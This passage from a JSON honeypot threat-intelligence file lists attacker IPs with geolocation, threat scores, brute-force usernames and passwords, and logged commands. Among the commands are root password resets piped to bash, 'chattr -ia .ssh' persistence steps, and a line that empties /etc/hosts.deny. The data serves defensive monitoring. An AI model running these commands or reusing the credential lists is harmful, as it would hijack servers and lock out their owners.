        "echo -e \"us3r\\nw1Cg5FeHL5NN\\nw1Cg5FeHL5NN\"|passwd|bash",
        "echo -e \"webdeploy\\nVFijKYoTXROK\\nVFijKYoTXROK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Mairipor\u00e3",
      "asn": 269715,
      "as_org": "INFINITYGO TELECOM LTDA",
      "threat_score": 39.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 735,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:19:42.111000+00:00",
        "last_seen_30d": "2026-05-23T17:30:54.739000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 615,
        "Suricata": 120
      }
    },
    "171.244.37.96": {
      "attack_count": 525,
      "first_seen": "2026-05-10T05:37:33.541Z",
      "last_seen": "2026-05-20T16:50:06.753Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "hayashi",
        "hoa",
        "lighthouse",
        "user",
        "zhang",
        "adm",
        "administrator",
        "jia",
        "kazuki",
        "kobayashi",
        "lee",
        "minjun",
        "nobody",
        "polkitd",
        "qcloud",
        "r00t",
        "reddy"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "!123qwe",
        "!@#qwe123qwe",
        "100000000",
        "111111",
        "123",
        "123-qwe",
        "12345Qwert",
        "12qw!@QW",
        "1qaz$2wsx",
        "1qazxsw2#EDC",
        "1qq2ww3ee",
        "2wsx#EDC",
        "300001",
        "Aa123456",
        "Ab123456.",
        "Cp123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"hayashi\\nRLzJjFnbrKLY\\nRLzJjFnbrKLY\\n\"|passwd",
        "echo \"hoa\\nL7WJNnTdVMLi\\nL7WJNnTdVMLi\\n\"|passwd",
        "echo \"root:gQIHIceVXUDP\"|chpasswd|bash",
        "echo \"zhang\\nZP2xUGDr4Wh3\\nZP2xUGDr4Wh3\\n\"|passwd",
        "echo -e \"hayashi\\nRLzJjFnbrKLY\\nRLzJjFnbrKLY\"|passwd|bash",
        "echo -e \"hoa\\nL7WJNnTdVMLi\\nL7WJNnTdVMLi\"|passwd|bash",
        "echo -e \"zhang\\nZP2xUGDr4Wh3\\nZP2xUGDr4Wh3\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 654,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:37:33.541000+00:00",
        "last_seen_30d": "2026-05-20T16:51:16.263000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 525,
        "Suricata": 129
      }
    },
    "27.79.2.23": {
      "attack_count": 367,
      "first_seen": "2026-05-11T23:53:11.993Z",
      "last_seen": "2026-05-12T00:28:36.687Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support",
        "cisco",
        "test",
        "1234",
        "123456",
        "anton",
        "belkinstyle",
        "btf",
        "carol",
        "cf1c22",
        "config",
        "db2inst2",
        "ftp",
        "george",
        "guest1",
        "help",
        "helpdesk",
        "install"
      ],
      "passwords_attempted": [
        "1234",
        "password",
        "admin",
        "0987654321",
        "1",
        "112233",
        "123456",
        "12345678",
        "123456789",
        "321start",
        "72ca06",
        "abc123",
        "abcd1234",
        "admin1",
        "admin@123",
        "aerohive",
        "andrew",
        "anton",
        "calvin",
        "carol"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 526,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T23:53:11.993000+00:00",
        "last_seen_30d": "2026-05-12T00:29:38.676000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 367,
        "Suricata": 159
      }
    },
    "61.66.228.102": {
      "attack_count": 351,
      "first_seen": "2026-05-15T01:40:10.440Z",
      "last_seen": "2026-05-15T02:28:26.910Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jflhi5za",
        "shrvn6xd",
        "admin",
        "demo",
        "dev",
        "jcon0r73",
        "linux",
        "metabase",
        "nodejs",
        "pakchoi",
        "rsacgo23",
        "stefan",
        "superv",
        "temp1",
        "whmapi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "123456",
        "123Qwe123C",
        "233",
        "8.5vHtXSSViFDvKi+TB.",
        "Abc@123..",
        "Admin#2024",
        "Asdf@123",
        "Dev@2024",
        "KZ+1E0C~_qz+E2wt64ko",
        "Kermit123@",
        "Qq111111",
        "Star@2024",
        "Welcome@2026",
        "YourPassword@6942",
        "abcd@123",
        "drHsosw0iIPRMnLcZUwC",
        "iloveyou"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"KZ+1E0C~_qz+E2wt64ko\\n9hotv7w2gj7X\\n9hotv7w2gj7X\\n\"|passwd",
        "echo \"drHsosw0iIPRMnLcZUwC\\nbCj7y4hEoGdF\\nbCj7y4hEoGdF\\n\"|passwd",
        "echo \"root:KrFIslrMygag\"|chpasswd|bash",
        "echo -e \"KZ+1E0C~_qz+E2wt64ko\\n9hotv7w2gj7X\\n9hotv7w2gj7X\"|passwd|bash",
        "echo -e \"drHsosw0iIPRMnLcZUwC\\nbCj7y4hEoGdF\\nbCj7y4hEoGdF\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Yonghe",
      "asn": 9919,
      "as_org": "New Century InfoComm Tech Co., Ltd.",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 430,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T01:40:10.440000+00:00",
        "last_seen_30d": "2026-05-15T02:29:31.915000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 351,
        "Suricata": 79
      }
    },
    "119.102.238.58": {
      "attack_count": 350,
      "first_seen": "2026-05-19T21:48:20.192Z",
      "last_seen": "2026-05-20T18:05:30.995Z",
      "sessions": 175,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 543,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:48:20.192000+00:00",
        "last_seen_30d": "2026-05-20T18:06:36.202000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 193
      }
    },
    "4.194.4.255": {
      "attack_count": 342,
      "first_seen": "2026-05-21T21:36:10.112Z",
      "last_seen": "2026-05-29T21:56:32.409Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user1",
        "zimbra",
        "alireza",
        "arkserver",
        "brenda",
        "claude",
        "composer",
        "deploy",
        "developer",
        "dk",
        "ict",
        "john",
        "karen",
        "nexus",
        "oracle",
        "piuser",
        "test",
        "testadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123456",
        "12345678",
        "1qaz2wsx",
        "5tgb^YHN",
        "ASDasd123",
        "Abc123##",
        "Azerty123",
        "Baidu@123",
        "P@ssw0rd",
        "Qwer.1234",
        "ark",
        "belinea",
        "bismillah",
        "brenda",
        "composer",
        "dk"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"test12345\\nO6YSoY4rXQU1\\nO6YSoY4rXQU1\\n\"|passwd",
        "echo \"zimbra\\nZZVShcE2QC9y\\nZZVShcE2QC9y\\n\"|passwd",
        "echo -e \"test12345\\nO6YSoY4rXQU1\\nO6YSoY4rXQU1\"|passwd|bash",
        "echo -e \"zimbra\\nZZVShcE2QC9y\\nZZVShcE2QC9y\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 436,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:36:10.112000+00:00",
        "last_seen_30d": "2026-05-29T21:57:38.662000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 342,
        "Suricata": 94
      }
    },
    "35.188.112.111": {
      "attack_count": 306,
      "first_seen": "2026-05-15T04:17:00.234Z",
      "last_seen": "2026-05-18T18:12:22.097Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11011969",
        "123qweASD!@#",
        "1q2w",
        "200389",
        "2030",
        "Cisco123!@",
        "Qwerty123456",
        "a123123",
        "amateur",
        "andreas1",
        "cs123456",
        "dolphins",
        "ds",
        "kettle",
        "molisoft",
        "oswald",
        "root1234567",
        "ssh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1tjqU9PT0ivd\"|chpasswd|bash",
        "echo \"root:dyTnSCcYxaU9\"|chpasswd|bash",
        "echo \"root:qVSAcprC6KKv\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 364,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:17:00.234000+00:00",
        "last_seen_30d": "2026-05-18T18:13:23.357000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 306,
        "Suricata": 58
      }
    },
    "212.47.70.95": {
      "attack_count": 303,
      "first_seen": "2026-05-18T04:31:18.418Z",
      "last_seen": "2026-05-18T05:01:19.150Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "!^)$!(*&",
        "2016",
        "991992",
        "Aa98637381",
        "Anna",
        "Welcome@2019",
        "aa",
        "adminimda",
        "audrey123",
        "blahblah2",
        "foo123",
        "house",
        "ionyszaa",
        "leonie",
        "megha",
        "qd123",
        "qwe@123",
        "weaver"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:JibgZxRQvtT9\"|chpasswd|bash",
        "echo \"root:wZ6njs3Hp9MC\"|chpasswd|bash",
        "echo \"root:wihfd9cQJtn6\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T04:31:18.418000+00:00",
        "last_seen_30d": "2026-05-18T05:02:21.772000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 303,
        "Suricata": 58
      }
    },
    "71.85.183.16": {
      "attack_count": 274,
      "first_seen": "2026-05-21T06:34:34.940Z",
      "last_seen": "2026-05-22T09:30:01.905Z",
      "sessions": 137,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Platte",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 411,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:34:34.940000+00:00",
        "last_seen_30d": "2026-05-22T09:31:10.786000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 274,
        "Suricata": 137
      }
    },
    "123.168.183.116": {
      "attack_count": 268,
      "first_seen": "2026-05-21T07:06:39.751Z",
      "last_seen": "2026-05-22T01:57:23.707Z",
      "sessions": 134,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 413,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:06:39.751000+00:00",
        "last_seen_30d": "2026-05-22T01:58:31.774000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 268,
        "Suricata": 145
      }
    },
    "43.153.34.179": {
      "attack_count": 241,
      "first_seen": "2026-05-19T06:25:10.776Z",
      "last_seen": "2026-05-19T06:53:33.852Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123QWEasd123",
        "123admin",
        "123qwe,.",
        "1923",
        "23dec1987",
        "Ab123456@",
        "Qwerty@2018",
        "claude",
        "dominator",
        "emma123",
        "hesoyam",
        "hola1234",
        "inspur",
        "lefty",
        "monster",
        "opc",
        "pal"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:LG0mVJfS9KIx\"|chpasswd|bash",
        "echo \"root:d1mzkFZvUxEe\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:25:10.776000+00:00",
        "last_seen_30d": "2026-05-19T06:54:38.950000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 55
      }
    },
    "219.69.123.31": {
      "attack_count": 232,
      "first_seen": "2026-05-22T10:03:14.535Z",
      "last_seen": "2026-05-23T12:30:00.610Z",
      "sessions": 116,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 9416,
      "as_org": "Hoshin Multimedia Center Inc.",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 348,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:03:14.535000+00:00",
        "last_seen_30d": "2026-05-23T12:31:38.957000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 116
      }
    },
    "190.181.27.27": {
      "attack_count": 221,
      "first_seen": "2026-05-27T05:41:23.913Z",
      "last_seen": "2026-05-27T06:15:01.245Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "administrator",
        "daniel",
        "dspace",
        "elk",
        "jenkins",
        "lilei",
        "pgadmin",
        "systemd",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123123!@#",
        "12321",
        "123456",
        "2357",
        "336699",
        "Pa$$w0rd",
        "Tt123456",
        "Voidsetdownload.so",
        "asdfasdf123",
        "asdzxc",
        "elk",
        "fjbdfdjkdsfs541544AA@@",
        "pass",
        "pgadmin123",
        "yy123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:46F9D040Luog\"|chpasswd|bash",
        "echo \"root:MvNhp1cXZXd4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 270,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:41:23.913000+00:00",
        "last_seen_30d": "2026-05-27T06:16:02.946000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 221,
        "Suricata": 49
      }
    },
    "103.165.139.145": {
      "attack_count": 219,
      "first_seen": "2026-05-06T10:21:42.057Z",
      "last_seen": "2026-05-06T10:54:13.789Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "Ubuntu",
        "deploy",
        "git",
        "345gs5662d34",
        "devops",
        "ensadmin",
        "labuser2",
        "mysql1",
        "testuser1"
      ],
      "passwords_attempted": [
        "123456",
        "!@#$%^&*()",
        "!QAZ1qaz",
        "1111",
        "123456789123456789",
        "1q2w3e4r5t",
        "1qaz@WSX#EDC",
        "2",
        "20252025",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwe123",
        "abc.123",
        "abc12345678",
        "adm",
        "admin!!",
        "admin@test",
        "asdasd",
        "dev",
        "devops@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ubuntu2022\\n4UtX7hvDF1Ze\\n4UtX7hvDF1Ze\\n\"|passwd",
        "echo -e \"ubuntu2022\\n4UtX7hvDF1Ze\\n4UtX7hvDF1Ze\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 17995,
      "as_org": "PT iForte Global Internet",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:21:42.057000+00:00",
        "last_seen_30d": "2026-05-06T10:55:17.135000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
